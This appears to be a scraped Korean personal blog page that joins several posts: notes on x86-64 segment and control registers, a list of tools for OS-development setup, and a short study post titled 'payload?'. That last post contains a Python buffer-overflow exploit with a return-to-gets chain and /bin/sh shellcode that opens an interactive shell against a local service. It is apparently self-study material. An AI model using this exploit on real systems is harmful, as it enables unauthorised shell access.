R8 ~ R15 : 86-64프로세서에 추가된 범용 레지스터로, 다양한 용도로 사용 가능


86페이지를 참고하면 각각의 모드마다 접근이 가능한 레지스터의 내용이 나온다.


세그먼트 레지스터

16비트 레지스터로 어드레스 영역을 다양한 크기로 구분하는 역할을 하는데, 주된 역활은 주소 영역 구분이지만 모드마다 조금씩 다르다.

보호모드, IA-32e모드  = 접근 권한 으로도 사용되기도 한다. 


CS : 코드 영역을 가리키는 레지스터

// 데이터 이동으로 값을 변경할 수 없으며, 점프 명령이나 인터럽트 관련 명령으로 변경 가능.

DS, ES, FS : 데이터 영역을 가리키는 레지스터.

// 데이터 이동 명령으로 값을 변경할수 있음.

// DS는 데이터 영역 접근시 암시적으로 사용. ES는 문자열과 관련된 작업을 처리할 때 암시적으로 사용.

SS : 스택 영역을 가리키는 레지스터

// 데이터 이동 명령으로 값을 변경할 수 있음.

// 스택 관련 레지스터(SP, BP)를 통해 스택에 접근할 때 암시적으로 사용됨.


컨트롤 레지스터

운영 모드를 변경하고, 운영 중인 모드의 특정 기능을 제어하는 레지스터 이다.


이후 모드에 따른 메모리 관리 기법에 대해 나온다.

아몰랑 ㅎㅎ..

'0x0500 : 기술, 분석 문서 > 0x0503 : OS 원리와 구조' 카테고리의 다른 글

0x06_32비트 보호모드 전환  (0) 2016.10.12
0x05_플로피 디스크에서 OS이미지 로딩  (0) 2016.10.10
0x04_BootLoader  (0) 2016.10.02
0x02_환경 구축  (0) 2016.10.01
0x01_시작  (0) 2016.09.27

0x02_환경 구축

0x0500 : 기술, 분석 문서/0x0503 : OS 원리와 구조

크게 막 설치할건 없는듯..


gcc 설치

// gcc 컴퍼일러 그게 그거다.


크로스 컴파일러 만들기

// 64, 32비트 호환성 인가? 그럴것이다.


NASM 설치

// 어셈블리어 코딩 용도인듯


이클립스 설치

// 자바


QEMU 설치

// OS구축 환경?

payload?

0x0300 : Study/0x0301 : System

from socket import *

import struct




p = lambda x:struct.pack("<L",x)


HOST = "127.0.0.1"

PORT = 8080


gets_plt = 0xffffffff

bss = 0xffffffff


payload ="\x90"*68

payload+=p(gets_plt)

payload+=p(bss)

payload+=p(bss)



s = socket(AF_INET,SOCK_STREAM)

s.connect((HOST,PORT))

s.send(payload +"\n")

s.send("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\n")


while True :

cmd=raw_input("$")

s.send(cmd+"\n")

print s.recv(1024)


s.close()


'0x0300 : Study > 0x0301 : System' 카테고리의 다른 글

리눅스 보호기법 확인작업  (0) 2016.10.11
segmentation fault?  (0) 2016.10.04
System study 근황.  (0) 2016.09.20
근황.  (0) 2016.09.01
System - Format String Attack 1  (0) 2016.08.05